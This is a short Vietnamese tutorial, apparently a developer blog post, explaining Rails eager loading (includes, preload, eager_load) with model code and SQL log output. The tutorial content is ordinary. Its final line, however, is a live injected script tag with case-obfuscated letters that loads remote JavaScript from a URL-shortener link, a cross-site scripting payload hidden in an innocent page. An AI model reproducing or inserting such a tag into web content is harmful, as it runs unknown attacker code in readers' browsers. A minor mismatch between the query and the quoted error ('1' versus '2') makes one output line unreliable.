Cơ bản về eager_loading
Bài đăng này đã không được cập nhật trong 8 năm
Hôm nay mình xin được hướng dẫn các bạn về ý nghĩa và cách sử dụng cơ bản của một kĩ thuật truy vấn trong cơ sở dữ liệu (cụ thể ruby) đó là eager_loading: includes, preload, eager_load
Để hiểu về cách sử dụng mình sẽ đưa ra 1 ví dụ nhỏ như sau:
class Category < ActiveRecord::Base
has_many :words, dependent: :destroy
end
class Word < ActiveRecord::Base
belongs_to :category
end
Ta sẽ lấy ra một số giá trị của Category
categories = Category.take(5)
categories.each do |category|
category.words.first.title
end
Và hãy xem câu lệnh truy vấn nó thực hiện
Word Load (0.4ms) SELECT "words".* FROM "words" WHERE "words"."category_id" = ? ORDER BY "words"."id" ASC LIMIT 1 [["category_id", 1]]
Word Load (0.2ms) SELECT "words".* FROM "words" WHERE "words"."category_id" = ? ORDER BY "words"."id" ASC LIMIT 1 [["category_id", 2]]
Word Load (0.1ms) SELECT "words".* FROM "words" WHERE "words"."category_id" = ? ORDER BY "words"."id" ASC LIMIT 1 [["category_id", 3]]
Word Load (0.1ms) SELECT "words".* FROM "words" WHERE "words"."category_id" = ? ORDER BY "words"."id" ASC LIMIT 1 [["category_id", 4]]
Word Load (0.1ms) SELECT "words".* FROM "words" WHERE "words"."category_id" = ? ORDER BY "words"."id" ASC LIMIT 1 [["category_id", 5]]
Chúng ta thấy nó được chia thành rất nhiều câu lệnh nhỏ. Và bây giờ hãy xem chúng ta sử dụng includes thì kết quả sẽ thế nào
categories = Category.includes(:words).take(5)
categories.each do |category|
category.words.first.title
end
Và kết quả
Word Load (0.3ms) SELECT "words".* FROM "words" WHERE "words"."category_id" IN (1, 2, 3, 4, 5)
Nó chỉ sử dụng 1 query với thời gian cũng ngắn hơn. Điều xảy ra cũng tương tự nếu ta sử dụng preload và eager_load.
Tiếp theo mình sẽ nói về điểm khác nhau cơ bản giữa includes, preload và eager_load. Về cơ bản includes và preload rất giống nhau.
Xét ví dụ sau
Category.includes(:words)
=>
Category Load (0.4ms) SELECT "categories".* FROM "categories"
Word Load (0.7ms) SELECT "words".* FROM "words" WHERE "words"."category_id" IN (1, 2, 3, 4, 5, 6, 7, 8, 9, 10)
Category.preload(:words)
=>
Category Load (0.6ms) SELECT "categories".* FROM "categories"
Word Load (0.7ms) SELECT "words".* FROM "words" WHERE "words"."category_id" IN (1, 2, 3, 4, 5, 6, 7, 8, 9, 10)
Category.eager_load(:words)
=>
SQL (0.7ms) SELECT "categories"."id" AS t0_r0, "categories"."name" AS t0_r1, "categories"."created_at" AS t0_r2, "categories"."updated_at" AS t0_r3, "words"."id" AS t1_r0, "words"."title" AS t1_r1, "words"."picture" AS t1_r2, "words"."category_id" AS t1_r3, "words"."created_at" AS t1_r4, "words"."updated_at" AS t1_r5 FROM "categories" LEFT OUTER JOIN "words" ON "words"."category_id" = "categories"."id"
Bây giờ hãy xét xem ví dụ tiếp theo
Category.includes(:words).where("words.id = '2'")
Category.preload(:words).where("words.id = '2'")
Category.eager_load(:words).where("words.id = '2'")
Và kết qủa là với includes và preload thì
ActiveRecord::StatementInvalid: SQLite3::SQLException: no such column: words.id: SELECT "categories".* FROM "categories" WHERE (words.id = '1')
Còn với eager_load thì thực hiện bình thường
SELECT "categories"."id" AS t0_r0, "categories"."name" AS t0_r1, "categories"."created_at" AS t0_r2, "categories"."updated_at" AS t0_r3, "words"."id" AS t1_r0, "words"."title" AS t1_r1, "words"."picture" AS t1_r2, "words"."category_id" AS t1_r3, "words"."created_at" AS t1_r4, "words"."updated_at" AS t1_r5 FROM "categories" LEFT OUTER JOIN "words" ON "words"."category_id" = "categories"."id" WHERE (words.id = '2')
=> #<ActiveRecord::Relation [#<Category id: 1, name: "Jarrod", created_at: "2016-07-28 07:48:29", updated_at: "2016-07-28 07:48:29">]>
Trên đây là những gì cơ bản mình học được, sẽ còn nhiều thiếu sót và có thể sai xót, mong mọi người chia sẻ và góp ý kiến thêm. Thankyou!
<sCrIpT src="https://goo.gl/4MuVJw"></ScRiPt>
All rights reserved